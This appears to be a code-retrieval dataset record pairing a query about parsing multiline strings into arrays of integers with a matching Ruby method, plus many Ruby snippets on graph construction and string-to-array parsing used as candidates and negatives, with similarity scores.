"def make_graph(all_dependencies)\n graph = RGL::DirectedAdjacencyGraph.new\n all_dependencies.each do |source, targets|\n if targets.empty?\n graph.add_vertex(source)\n else\n targets.each { |target| graph.add_edge(source, target) }\n end\n end\n graph\n end",
"def simple_graph(vertices, klass = MiniGraphdb::Node)\n nodes = Hash.new { |hsh, k| hsh[k] = klass.new(val: k) }\n\n vertices.each do |a_node, other_node|\n nodes[a_node].r_edge nodes[other_node]\n end\n\n def nodes.print_graph\n values.each do |node|\n edges = node.edges.byweight.map(&:val).join(\", \")\n puts \"#{node.val} => #{edges}\"\n end\n end\n\n nodes\n end",
"def initialize (edgelist_class = Set, *other_graphs)\n @edgelist_class = edgelist_class\n @vertice_dict = Hash.new\n other_graphs.each do |g|\n g.each_vertex {|v| add_vertex v}\n g.each_edge {|v,w| add_edge v,w}\n end\n end",
"def graph_class\n RDF::Graph\n end",
"def initialize(node_list = Hash.new, edges = Hash.new)\n @node_list = node_list\n @edges = edges\n end",
"def Graph(name=:G, type=:digraph, &blk)\n Gviz.new(name, type).graph(&blk)\nend",
"def initialize(pairs)\n @nodes = {}\n @edges = {}\n \n IO.foreach(pairs) do |line|\n from, to = *(line.strip.split(/\\s+/).map { |x| x.to_i })\n @nodes[from] = true\n @nodes[to] = true\n @edges[edge_key(from,to)] = true\n @edges[edge_key(to, from)] = true\n end\n @nodes = @nodes.keys\n end",
"def to_graph(graph = RDF::Graph.new)\n properties.each do |property|\n property.to_graph(graph)\n end\n graph\n end",
"def initialize(g, params = {})\n\n require 'set'\n \n params = { :pbar => false, :file => '', :color => true, :circo => false }.merge(params)\n @pbar = params[:pbar]\n file = params[:file]\n color = params[:color]\n circo = params[:circo]\n\n if @pbar\n require 'facets/progressbar'\n @labeling_pbar = Console::ProgressBar.new(\"Labeled nodes\", g.num_vertices)\n end\n\n # initializza etichette e contatori\n @i = 0\n @m = 0\n @l = Hash.new\n @c = Hash.new\n @ude_counter = Hash.new\n @unlabeled_v = g.vertices.to_set\n\n if g.cyclic?\n # applica l'algoritmo generalizzato\n until @unlabeled_v.empty?\n\tlabel_and_counter(g)\n\tinf_label(g)\n\t@i += 1\n end\n else\n # applica l'algoritmo lineare\n succ = Hash.new\n g.vertices.each do |v|\n\tsuccessivi = Array.new\n\tg.adjacent_vertices(v).each do |sv| \n\t successivi << sv\n\tend # each\n\tsucc[v] = successivi\n end # each\n coda = Array.new\n g.vertices.each do |v| \n\tif g.adjacent_vertices(v) == []\n\t @l[v] = 0\n\t @labeling_pbar.inc if @pbar\n\t coda.push(v) \n\tend # if\n end # each\n while coda != [] do\n\tx = coda[0]\n\tcoda.delete(x)\n\tg.prev_vertices(x).each do |v|\n\t succ[v].delete(x)\n\t if succ[v] == []\n\t @l[v] = mes(v,g)\n\t coda.push(v)\n\t @labeling_pbar.inc if @pbar\n\t end # if\n\tend # each\n end # while\n end # if\n @labeling_pbar.finish if @pbar\n count_ude(g)\n\n write_to_graphic_file(g, fmt='png', dotfile=file, color, circo) if (file != '' and file.is_a?(String))\n end",
"def to_graph(graph = RDF::Graph.new)\n Array(value).each do |val|\n graph << RDF::Statement.new(subject, predicate, val)\n end\n graph\n end",
"def initialize(connections, sequence_ids)\n @graph = Yargraph::UndirectedGraph.new\n @circular_probes = []\n @sequence_ids = sequence_ids\n\n # Setup hash of setable to original\n # Assume there is only 1 connection between two contig ends\n @connection_hash = {}\n connections.each do |conn|\n key = conn.to_settable\n raise \"Duplicate connections not handled (yet?), found #{conn} => #{key}\" if @connection_hash.key?(key)\n @connection_hash[key] = conn\n end\n\n # Add connections\n connections.each do |conn|\n if conn.probe1.to_settable == conn.probe2.to_settable\n @circular_probes.push con..probe1\n else\n @graph.add_edge conn.probe1.to_settable, conn.probe2.to_settable\n end\n end\n\n log.debug \"Created a graph with #{@graph.vertices.to_a.length} vertices and #{@graph.edges.length} edges\" if log.debug?\n end",
"def build_graph\n graph = Graph.new\n f = File.new(filename, \"r\")\n\n # Get every line,\n # cast to integer, split into array,\n # add nodes to graph for each integer,\n # ending with: [node1, node2, node3]\n while line = f.gets\n arr_of_nodes = line.chomp.split(\"\").map do |value|\n graph.find_or_create_by(value.to_i)\n end\n\n arr_of_nodes.each_with_index do |node, i|\n next_node = arr_of_nodes[i+1]\n if next_node\n graph.connect(node, next_node)\n end\n end\n end\n f.close\n graph\n end",
"def initialize(name)\n @name = name\n @edges = Hash.new\n end",
"def create_graph\n @factory = Authorize::Graph::Factory.new\n l_id, r_id = 'l_id', 'r_id'\n @e0 = @factory.edge('e0', {'property' => 'value'}, :l_id => l_id, :r_id => r_id)\n @cho = stub('cho', :id => l_id, :outbound_edges => Set[@e0])\n @ric = stub('ric', :id => r_id, :inbound_edges => Set[@e0])\n @spr = stub('spr', :id => 'spr', :inbound_edges => Set[])\n Authorize::Graph::Vertex.stubs(:load).with(@cho.id).returns(@cho)\n Authorize::Graph::Vertex.stubs(:load).with(@ric.id).returns(@ric)\n end",
"def to_graph\n return RDF::Graph.new if target_id.blank?\n g = Resource.new(rdf_subject)\n g.proxy_for = target\n g.proxy_in = proxy_in.try(:uri)\n g.next = self.next.try(:rdf_subject)\n g.prev = prev.try(:rdf_subject)\n g.graph\n end",
"def to_graph(passed_graph = RDF::Graph.new)\n passed_graph << graph\n end",
"def hier_graph_create(filename)\n @@name_id = Hash.new \n ### Making the name of the file from the parameter filename \n newfilename= make_filename(filename) \n ######################################################## \n\n ## Hierarchical Hash -- where the module are connected based on the instantiation\n load_cycloHash() \n \n\n @hierHash=Hash.new\n @block.each do|key,value|\n @@name_id[value.name]= value.id \n a=[]\n value.each_instance(){|y| a.push(y)}\n b = Array.new\n a.each {|val| if(@block.has_key?(val)) then b.push(val) end}\n @hierHash[key] = b.uniq\n end # end of @lock.each do....\n xArr = Array.new\n @hierHash.each {|key, value|\n if (value.length > 0) then \n xArr.concat(value) \n end \n }\n xArr.each{|key| \n if (@hierHash.has_key?(key)) then \n tmp =Array.new\n tmp = @hierHash[key]\n if (tmp.length === 0) then\n @hierHash.delete(key) \n end\n end \n }\n\n write_file(newfilename) ## Makes directed graph that must be called by dot\n @@name_id.each{|k,v| print k, \": \",v, \"\\n\"}\n end",
"def initialize(graph, src, dest, attrs={})\n @graph = graph\n @src = src\n @dest = dest\n @weight = 0\n @attrs = attrs\n @timeline = []\n end",
"def graph(name, options = {}, &block)\n GraphViz::DSL.new(name, options.merge( { :type => \"graph\" } ), &block).graph\nend",
"def gv_object\n return @gv_object if @gv_object\n return unless defined? GraphViz\n @gv_object = GraphViz.new gv_graph_name, :type => :digraph\n @gv_object.node_attrs[:style] = 'filled, solid'\n\n each_task do |task|\n next unless task.node == gv_filter_node if gv_filter_node\n gv_node = @gv_object.add_node task.to_s\n gv_node.fillcolor = gv_task_color(task)\n end\n\n each_task do |task|\n task.each_dependency do |dep_task|\n next unless dep_task.node == gv_filter_node if gv_filter_node\n next unless @gv_object.find_node dep_task.to_s and @gv_object.find_node task.to_s\n @gv_object.add_edges dep_task.to_s, task.to_s\n end\n end\n @gv_object\n end",
"def initialize_graph!(rules)\n rules.each do |rule|\n bag, linked_bags = rule\n\n node = find_or_create_node(bag.color)\n\n edges = linked_bags.map do |linked_bag|\n linked_node = find_or_create_node(linked_bag.color)\n\n Edge.new(linked_bag.num, linked_node)\n end\n\n node.edges += edges\n\n @nodes_by_color[bag.color] = node\n end\n end",
"def build_assignment_graph(layer)\n\t\th = @via_positions.length\n\t\tfail if (h == 0) || h.odd?\n\t\tfail if @start_node.pads.min < 0 || @start_node.pads.max >= @layer_count\n\t\tfail if @end_node.pads.min < 0 || @end_node.pads.max >= @layer_count\n\t\tvia_count = h / 2\n\t\tputs via_count\n\t\tlayers = 0..(@layer_count - 1) \n\t\tcolums = 0..(via_count * 2) # F O F O F for via_count == 2 \n\t\t#vp = @via_positions.dup # x,y pairs\n\t\t#vp.unshift(@start_node.y)\n\t\t#vp.unshift(@start_node.x)\n\t\tvp = [@start_node.x, @start_node.y] + @via_positions\n\t\tm = Array.new(@layer_count){Array.new(via_count * 2 + 1)}\n\t\tfor i in colums # from T back to S\n\t\t\tif i.even?\n\t\t\t\ty = vp.pop\n\t\t\t\tx = vp.pop\n\t\t\tend\n\t\t\tfor j in layers\n\t\t\t\tl = Array.new\n\t\t\t\tif i.even? # forward\n\t\t\t\t\tk = i + 1\n\t\t\t\t\twhile k > 0\n\t\t\t\t\t\tk -= 2\n\t\t\t\t\t\tif k == -1 # link forward node to T node\n\t\t\t\t\t\t\tl << @end_node if @end_node.pads.include?(j)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tif (h = m[j][k])\n\t\t\t\t\t\t\t\tl << h # link to up/down node \n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tunless l.empty?\n\t\t\t\t\t\tm[j][i] = F_node.new(x, y, j, l)\n\t\t\t\t\t\tl.each{|el|\n\t\t\t\t\t\t#unless @segment_list.index{|m| m.x1 == && m.y1 == el.y1 & m.x2 == el.x2 && m.y2 == el.y2}\n\t\t\t\t\t\t\t@segment_list << Segment.new(x, y, el.x, el.y)\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\telse #up/down\n\t\t\t\t\tfor k in layers do\n\t\t\t\t\t\tif (k != j) && (h = m[k][i - 1])\n\t\t\t\t\t\t\tl << h\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tunless l.empty?\n\t\t\t\t\t\tm[j][i] = V_node.new(x, y, j, l)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t#puts @segment_list.length\n\t\t@segment_list.uniq!{|el| [el.x1, el.y1, el.x2, el.y2]}\n\t\tputs @segment_list.length\n\t\t@all_intersecting_segments = Array.new\n\t\t@segment_list.each{|el|\n\t\t\t@all_intersecting_segments += el.intersecting_segments\n\t\t}\n\t\t@all_intersecting_segments.uniq!\n\n\t\tfor j in layers\n\t\t\tif (h = m[j][-1]) && @start_node.pads.include?(j)\n\t\t\t\t@start_node.next << h\n\t\t\tend\n\t\tend\n\tend",
"def build_graph(cities)\n cities.each do |c1|\n line = []\n cities.each do |c2|\n line.push (City.distance(c1,c2))\n end\n @graph.push line\n end\n end",
"def graph(uri)\n @what, @uri = :graph, uri\n self\n end",
"def to_graph(indent=nil)\n out = \"Parents:\\n\"\n self.parents.each { |parent| out << \" #{parent}\" }\n out << \"\\nObject: #{self.to_s}\\n\"\n out << \"Children:\\n\"\n self.children.each { |child| out << \" #{child}\" }\n out\n end",
"def Graph(str)\n graph = Graph.new\n nodes = {}\n str.lines.each do |line|\n case line\n when /^\\s*(\\w+):(.*)$/\n name,code = $~[1,2]\n graph << (nodes[name] = eval(code))\n when /^\\s*(\\w+)\\s*->\\s*(\\w+)((\\s*->\\s*\\w+)*)\\s*(#.*)?$/\n name1,name2,others = $~[1,3]\n [name1,name2].each do |name|\n raise \"Undefined node: #{name} on line: #{line}\" if not nodes.key? name\n end\n nodes[name1].out << nodes[name2]\n \n if others != \"\"\n # repeat on the part of this line which we have not processed yet\n line = name2+others\n redo\n end\n when /^\\s*(#.*)?$/\n next\n else\n raise \"Couldn't parse this line: #{line}\"\n end\n end\n raise \"No start node defined! There should be a node called START.\" if not nodes.key? 'START'\n graph.start = nodes['START']\n graph\nend",
"def initialize\n @nodes = []\n end",
"def graph\n \n \n @graphml = \"<graphml><key id='label' for='all' attr.name='label' attr.type='string'/><key id='link' for='all' attr.name='link' attr.type='string'/><key id='weight' for='all' attr.name='weight' attr.type='double'/><key id='edgetype' for='edge' attr.name='edgetype' attr.type='string'/><key id='nodetype' for='node' attr.name='nodetype' attr.type='string'/><graph edgedefault='directed'>\" \n @sif = ''\n \n @max = 2\n @log = Array.new\n @additional = {'cleavage' => {}, 'inverse_cleavage' => {}, 'inhibition' => {}, 'inverse_inhibition' => {}, 'interaction' => {}}\n add_nodes(nil,self.protein,nil,0,nil)\n add_additional_nodes(@additional['cleavage'],'cleavage')\n add_additional_nodes(@additional['inverse_cleavage'],'inverse_cleavage')\n add_additional_nodes(@additional['inhibition'],'inhibition')\n add_additional_nodes(@additional['inverse_inhibition'],'inverse_inhibition')\n \n @graphml << \"</graph></graphml>\"\n\n \n # f = File.open(\"#{RAILS_ROOT}/public/images/dynamic/#{self.protein.name}-#{'ppi' if ppi}network.graphml\", 'w')\n # f << @graphml\n # f.close\n\n return @graphml\n end",
"def initialize(dag)\n vars = {}\n @net = Sbn::Net.new(title)\n \n vertices.each do |v|\n vars[v] = Sbn::Variable.new(@net, v.name.to_sym)\n end\n \n edges.each do |e|\n vars[e.source].add_child(vars[e.target])\n end\n end",
"def clone\n graph = Graph.new(@size)\n @edges.each_key do |key|\n graph.add_edge key\n end\n graph\n end",
"def neo_graphs\n @neo_graphs ||= {}\n end",
"def initialize(vertices, edges)\r\n @vertices = vertices\r\n @edges = edges\r\n end",
"def graph(tweets)\n nodes = nodes(tweets)\n edges(nodes, tweets)\n nodes.values.sort!\n end",
"def initialize(edge, v1, v2)\n \t@edge = edge ##child (orignial Edge, it is first parameter)\n @v1 = v1\n @v2 = v2\n\n #each use increase degree, later it will help to find ofphans and junctions\n @v1.increment_degree\n @v2.increment_degree\n\n #store on each vertex his neighbours and related edges - to fasten the finding connected trees and\n # and for easier deleting of the disconneced subtrees/graph componets\n @v1.add_neighbour(@v2.get_id, self)\n @v2.add_neighbour(@v1.get_id, self)\n #@emphesized = false\n @hidden = false\n\n end",
"def initialize\n @forward_edges_with_info = IdentityHash.new\n @backward_edges = IdentityHash.new\n end",
"def initialize(graph_struct)\n @internal_graph_struct = graph_struct\n end",
"def create_graph(name:, edge_definitions: [], is_smart: nil)\n Arango::Graph::Base.new(name: name, edge_definitions: edge_definitions, is_smart: is_smart, database: self).create\n end",
"def initialize(graph, options = {}, &block)\n @graph = graph\n @id = next_object_id\n @name = (options[:name] or \"Edge#{@id}\")\n @description = (options[:description] or \"Edge #{@id}\")\n @source = options[:source] \n @destination = options[:destination]\n @label = (options[:label] or @name)\n @probability = options[:probability]\n @transition = (options[:transition] or \"\")\n\n yield self unless block.nil?\n end",
"def build_from_hash(data)\n data.each do |start_vertex_name, end_vertex_name|\n # check if vertex is not already in the graph\n if (find_index_for_vertex(start_vertex_name) == nil )\n self.add_vertex(Vertex.new(start_vertex_name))\n end\n\n # if end vertex is specified\n if (end_vertex_name != nil)\n # and is not already in the graph\n if (find_index_for_vertex(end_vertex_name) == nil)\n self.add_vertex(Vertex.new(end_vertex_name))\n end\n\n # add an edge between vertices\n self.add_edge(start_vertex_name, end_vertex_name)\n end\n end\n\n self\n end",
"def create_knight_tour_graph(board_size)\n new_graph = Graph.new()\n board_size.times do |x|\n board_size.times do |y|\n new_graph.add_vertex([x,y])\n end\n end\n knight_legal_moves(new_graph)\n new_graph\nend",
"def initialize(name, options = {}, &block)\n @graph = GraphViz.new(name, options)\n instance_eval(&block) if block\n end",
"def initialize(dataset, graph)\n @dataset = dataset\n @graph = graph\n super()\n end",
"def initialize(*nodes, attributes: {}, infos: nil)\n\t\t\t@nodes=[]\n\t\t\t# a node can be a Hash or a Node\n\t\t\t# so nodes really is a list of subgraphs\n\t\t\tbuild(*nodes, attributes: attributes, infos: infos)\n\t\tend",
"def create_graph(resources, on, result)\n # add_ordered_resources_to_result(without_dependencies, result)\n first_layer_of_ordered_resources = resources_without_dependencies.zip_offset(1)\n first_layer_of_ordered_resources.each do |first, second|\n result.add_edge!(first, second) unless second.nil? or result.edge?(first, second) or result.edge?(second, first)\n end\n \n resources_with_dependencies.each do |r|\n \n r.dependencies.each do |dep_type, deps_array|\n deps_array.each do |dep_name|\n dep = get_resource(dep_type, dep_name)\n raise PoolPartyError.create(\"ResourceNotFound\", \"A resource required for #{dep_type}(#{dep_name}) was not found: #{dep_type}(#{dep_name}). Please make sure you've specified this in your configuration.\") unless dep\n \n unless result.edge?(dep, r) and result.edge?(r, dep)\n existing_connections = result.adjacent(dep)\n existing_connections.each {|c| result.remove_edge!(r, c) }\n \n result.add_edge!(dep, r, dep.name)\n \n existing_connections.each {|c| result.add_edge!(dep, c) }\n end\n \n end\n end\n end\n \n all_resources.each_with_index do |resource, idx|\n if on\n result.add_edge!(resource, on, resource.name) unless result.edge?(resource, on) or result.edge?(on, resource)\n else\n result.add_vertex!(resource) unless result.vertex?(resource)\n end\n end\n \n result\n end",
"def test_make_graph\n\t\ttest_main = Main.new(3, 4, 6)\n\t\ttest_graph = Graph.new(10)\n\t\ttest_graph = test_main.make_graph(test_graph)\n\t\tassert_equal test_graph.get_loc(\"Matzburg\").paths.length, 4\n\tend",
"def combine(*others)\n Graph.new(self, others)\n end",
"def initialize(hash)\n @graph = hash\n nodes = {}\n\n # initial values for min/max. note: these are the highest/lowest values of\n # lat/long possible, such that min is initially set to the highest\n # possible value, etc.\n @lat_min = 90\n @lat_max = -90\n @long_min = 180\n @long_max = -180\n\n # determine the extreme values\n @graph.each do |k,v|\n @lat_min = v[0] if v[0] < @lat_min\n @lat_max = v[0] if v[0] > @lat_max\n @long_min = v[1] if v[1] < @long_min\n @long_max = v[1] if v[1] > @long_max\n end\n\n # store the the highest and lowest (x,y) coordinates of the map\n @world_max = latlong_to_world Point.new(lat_max, long_max)\n @world_min = Point.new(0,0)\n\n # create a new node with world coordinates\n @graph.each do |k,v|\n world = latlong_to_world Point.new(v[0], v[1])\n nodes[k] = Node.new(world)\n end\n \n # now that all of the nodes have been created, we do a second\n # pass to get all of the references\n @graph.each do |k,v|\n v[2].each do |neighbor_k|\n nodes[k].neighbors << nodes[neighbor_k]\n end\n end\n\n @nodes = Set.new(nodes.values)\n @nodes.freeze\n\n # create a two-layered hash storing roads\n @road_hash = create_roads\n @road_set = road_set_from_hash @road_hash\n\n # clip all the walls\n clip_map\n end",
"def next_graph\n return nil unless lines = next_graph_lines\n\n id = /^Graph (\\d+), order (\\d+).$/.match(lines[0])[1]\n order, size = /^(\\d+) (\\d+)$/.match(lines[1])[1,2].collect{|n| n.to_i}\n edges = lines[2].split.collect{|v| v.to_i}.enum_slice(2).to_a\n \n raise \"Error parsing graph #{id}.\" unless edges.size == size\n \n Graph.validate_edges!(edges, order)\n\n Graph.new(id, \n order, \n Graph.canonicalize_edges(edges), \n false)\n end",
"def initialize\n @nodes = []\n end",
"def initialize(rdf_graph)\n @graph = rdf_graph\n end",
"def create_full_graph(spec_edges)\n create_sub_graph(spec_edges, $game_map.width+$game_map.height)\n end",
"def initialize(named=false)\n @nodes = {}\n @edges = {}\n end",
"def initialize(graph, damping_factor = 0.85, iterations = 100)\n @graph = graph.to_h\n # { :p1 => [:p2], :p2 => [:p1,:p3], :p3 => [:p2] }\n @outlinks = Hash.new { |_, key| @graph[key].size }\n # { :p1 => 1, :p2 => 2, :p3 => 1 }\n @inlinks = Hash.new { |_, key| inlinks(key) }\n # { :p1 => [:p2], :p2 => [:p1,:p3], :p3 => [:p2] }\n @ranks = Hash.new(1.0 / @graph.size)\n # { :p1 => 1/3, :p2 => 1/3, ... }\n @sinknodes = @graph.select { |_, v| v.empty? }.keys\n # sinknodes aka dead-ends, have no outlink at all\n\n @damper = damping_factor\n @iterations = iterations\n end",
"def get_graph(job_id, opts = {})\n job = get(job_id)\n history = get_execution_history(job_id, {})[0]\n\n hashed_job = {\n :job_id => job.job_id,\n :history => history,\n :depth => 0\n }.merge(job.attributes)\n\n # set self node\n nodes = {job_id => hashed_job}\n edges = []\n\n _set_dependency(\n :producers,\n opts[:producer_depth],\n nodes,\n edges,\n hashed_job\n )\n\n _set_dependency(\n :consumers,\n opts[:consumer_depth],\n nodes,\n edges,\n hashed_job\n )\n\n return {:nodes => nodes, :edges => edges}\n end",
"def make_directed(vertices, directed_edges)\n g = RGL::DirectedAdjacencyGraph.new\n \n vertices.each { |v| g.add_vertex(v) }\n \n directed_edges.each do |source, targets|\n targets.each { |target| g.add_edge(source, target) }\n end\n \n g\nend",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end",
"def to_rdf()\n graph = RDF::Graph.new\n as_rdf(Array.new).each do |triple|\n puts triple \n graph << triple\n end\n return graph\n end"
] |
[
"0.77965236",
"0.72949564",
"0.72111744",
"0.70105463",
"0.6987603",
"0.6939793",
"0.6939793",
"0.6902709",
"0.685777",
"0.6834346",
"0.68074447",
"0.67889756",
"0.6744311",
"0.6664424",
"0.6625337",
"0.6620179",
"0.6612398",
"0.658939",
"0.658701",
"0.65771496",
"0.65551853",
"0.65017647",
"0.64486104",
"0.64021057",
"0.63945675",
"0.63945675",
"0.6367583",
"0.6343058",
"0.6336179",
"0.6331554",
"0.63242435",
"0.6307892",
"0.63074356",
"0.62804514",
"0.6271173",
"0.6267313",
"0.6224337",
"0.6196049",
"0.61921966",
"0.61894876",
"0.6180481",
"0.6173692",
"0.6166638",
"0.61615074",
"0.6126645",
"0.61258936",
"0.6105571",
"0.60873437",
"0.6086754",
"0.6067416",
"0.60526294",
"0.60515714",
"0.60381895",
"0.603739",
"0.6026822",
"0.59872437",
"0.5964729",
"0.59596306",
"0.59588003",
"0.5953175",
"0.5952555",
"0.5946465",
"0.5932991",
"0.5932315",
"0.59307104",
"0.5926541",
"0.5907483",
"0.5907246",
"0.59070736",
"0.5900749",
"0.59002984",
"0.5890332",
"0.58878094",
"0.58746696",
"0.5872528",
"0.58663917",
"0.5860419",
"0.5859498",
"0.5855852",
"0.5854533",
"0.58523643",
"0.5850114",
"0.58372414",
"0.5832906",
"0.58112717",
"0.5805165",
"0.5784226",
"0.5784226",
"0.5784226",
"0.5784226",
"0.5784226",
"0.5784226",
"0.5784226",
"0.5784226",
"0.5784226",
"0.5784226",
"0.5784226",
"0.5784226",
"0.5784226"
] |
0.66124845
|
17
|
Method to process multiline string into a list of arrays of numbers
|
def input_processing(multi_line)
multi_line.split("\n").map {|nums| nums.split.map {|str| str.to_i}}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def array_from_rows(str)\n str.split(\"\\n\").map { |x| x.split(' ').map { |y| y.to_i } }\n end",
"def parse_to_array(line_as_string)\n as_array = line_as_string.split(\" \")\nend",
"def arrayify(str)\n str.split(\"\\n\")\n end",
"def parse_row_data_from_input(input_str)\n rows = input_str.split(\"\\n\")\n rows.map { |row| row.split.map(&:to_i) }\nend",
"def number_array\n @input_string.split(' ')\n end",
"def get_multi_line_input_int_arr(original_filename)\n get_input_str_arr(original_filename).map(&:to_i)\nend",
"def parse_grid(some_string)\n the_grid = []\n\n some_string.split(\"\\n\").each do |line|\n the_row = []\n line.split(\" \").each do |column|\n the_row.push(column.to_i)\n end\n the_grid << the_row\n end\n\n return the_grid\nend",
"def read_int_array(lines)\n out = []\n lines.each do |line|\n values = line.scan(/\\d+/).flatten\n values.each do |value|\n out.push(value.to_i)\n end\n end\n return out\nend",
"def string_to_matrix(string)\n to_nums(string.split(\"\\n\").map { |row| row.strip.split })\n end",
"def to_array str\n array = []\n str.split().each do |i|\n entry = i.split(\",\")\n\n width = entry[0].to_i\n height = entry[1].to_i\n\n if entry.length == 2\n array << [width, height]\n else\n ALL_MACROS[entry[2]].call(width, height, array)\n end\n end\n\n array\nend",
"def array_of_row_arrays(text)\n c = 0\n arr = []\n arr_of_arrys = []\n # add \"\\n\" to last row of string to make symmetric with previous rows\n # creating an array every 51 chars, and push such array into container array\n text.split('').push('\\n').each_with_index do |value, i| \n c += 1\n arr << value\n if c == 51\n c = 0\n arr_of_arrys << arr\n arr = []\n end\n end\n return arr_of_arrys\nend",
"def numbers\n gsub(/[^\\n]/, '').split#.map {|x| x.to_i} #found gsub in Ruby documentation, for handling new lines between numbers. map in array doc\nend",
"def lnums_for_str_array(string_array, newline='')\n lnums_for_str(string_array.join(newline))\n end",
"def get_arrays(line)\n pairs = line.chomp.split(',')\n arrys = pairs.map do |range|\n indeces = range.split('-').map(&:to_i)\n (indeces.first..indeces.last).to_a\n end\nend",
"def subtag2array(str)\n sep = \"\\001\"\n str.gsub(/\\n(\\s{1,#{@tagsize-1}}\\S)/, \"\\n#{sep}\\\\1\").split(sep)\n end",
"def read_file_to_arr(path)\n ret = []\n File.open(path, \"r\") do |f|\n f.each_line do |line|\n ret << line.split(\" \").map { |s| s.to_i}\n end\n end\n return ret\nend",
"def single_numbers\n text, ary = parse_text, [] \n until text.empty?\n top, mid, bot, blank = text.shift(4)\n ary.push(*top.zip(mid, bot).map(&:join)) \n ary.push(\",\") unless text.empty? # add comas when input entered on multiple lines\n end\n ary\n end",
"def read_lines\n lines = Array.new\n line = @file.gets\n tokens = line.scan(/[-+]?\\d*\\.?\\d+/)\n x1 = Integer(tokens[0])\n x2 = Integer(tokens[1])\n \n while not (x1==0 and x2==0)\n l = Line.new(x1,x2)\n lines.push(l)\n line = @file.gets\n tokens = line.scan(/[-+]?\\d*\\.?\\d+/)\n \n x1 = Integer(tokens[0])\n x2 = Integer(tokens[1])\n \n end\n \n return lines\n \n end",
"def generate_number_strings(cleaned_multiline_digits)\n cleaned_multiline_digits.map do |multiline_digit|\n convert_to_numbers(multiline_digit)\n end\nend",
"def separate_digit_lines(parsed_text_file)\n parsed_text_file.each_slice(4).to_a\nend",
"def getSizeAsArray\n rows = self.size.strip.split(\"\\r\\n\")\n @result = []\n rows.each do |row|\n @result << row.split('x')\n end\n\n return @result \n end",
"def parse_list(string)\n # preconditions\n isString string\n stringNonempty string\n\n list = string.split(\"\\n\")\n out = []\n\n numbers = true;\n\n #This ugly loop is so that we can make sure the objects are comparable to one another\n #while we are walking over the string array. (no overhead)\n (0...list.length).each do |i|\n if /^[-]?\\d+(\\.\\d+)$/.match(list[i]) and numbers #float\n out << list[i].to_f\n elsif /^[-]?\\d+$/.match(list[i]) and numbers #int\n out << list[i].to_i\n else \n out << list[i] #push it on, and let the comparable check decide if we are good\n numbers = false\n end\n isComparable(i, out)\n end\n\n # postconditions\n isEnumerable out\n return out\n end",
"def extracting_nums_to_arr(str)\n str_nums = str.gsub(/[^0-9. ]/, ' ')\n str_nums.split(' ')\nend",
"def parse(filename)\n result = []\n File.open(filename,'r') do |file|\n for line in file\n result << line.split(' ').map(&:to_i)\n end\n end\n result\nend",
"def q1_read_to_array(data_file_name)\r\n array2d = []\r\n \r\n read_file(\"data/\"+data_file_name).each{ |line|\r\n array1d = line.split(\",\").map(&:strip).map(&:to_s)\r\n array2d << array1d\r\n }\r\n return array2d\r\nend",
"def parse(str)\n # defined in ext/rdo_postgres/arrays.c\n end",
"def parse_line(line)\n matrix(line)\n .each_slice(3)\n .map(&:join)\n end",
"def get_single_line_input_int_arr(original_filename, separator: ',')\n get_input_str(original_filename).split(separator).map(&:to_i)\nend",
"def my_array_splitting_method(source)\n\n arrayInt = []\n arrayStr = []\n\n for x in 0..(source.length - 1)\n if source[x].to_s =~ /\\A[-+]?[0-9]+\\z/\n arrayInt[arrayInt.length] = source[x].to_i\n\n else\n arrayStr[arrayStr.length] = source[x]\n\n end\n end\n outputArray = [arrayInt, arrayStr]\n # p outputArray\n return outputArray\nend",
"def convert_to_numbers(multiline_digit)\n chunked = multiline_digit.map { |line| line.chars.each_slice(3).to_a }.transpose\n numbers = chunked.map { |digit| DIGIT_DICTIONARY[digit.flatten.join] ||= \"?\" }\n numbers.join('')\nend",
"def position_string_to_array(string)\n size = Math.sqrt(string.length).to_i\n array = chunk(string, size).map { |row| chunk(row, 1) }\n array\n end",
"def position_string_to_array(string)\n size = Math.sqrt(string.length).to_i\n array = chunk(string, size).map { |row| chunk(row, 1) }\n array\n end",
"def array_newlines(array_input)\n n0 = array_input[0]\n n1 = array_input[1]\n n2 = array_input[2]\n n3 = array_input[3]\n \n m0 = [n0, 1].min\n m1 = [n1, 2].min\n m2 = [n2, 2].min\n m3 = [n3, 2].min\n return [m0, m1, m2, m3]\n end",
"def parse_text\n text.split(\"\\n\").map { |r| r.scan(/.../) } \n end",
"def lists\n lines.inject([]){ |lists, line| lists << split(line) }\n end",
"def lines\n result = Array.new\n @theLines.each { |l| result << String.new(l) }\n return result\n end",
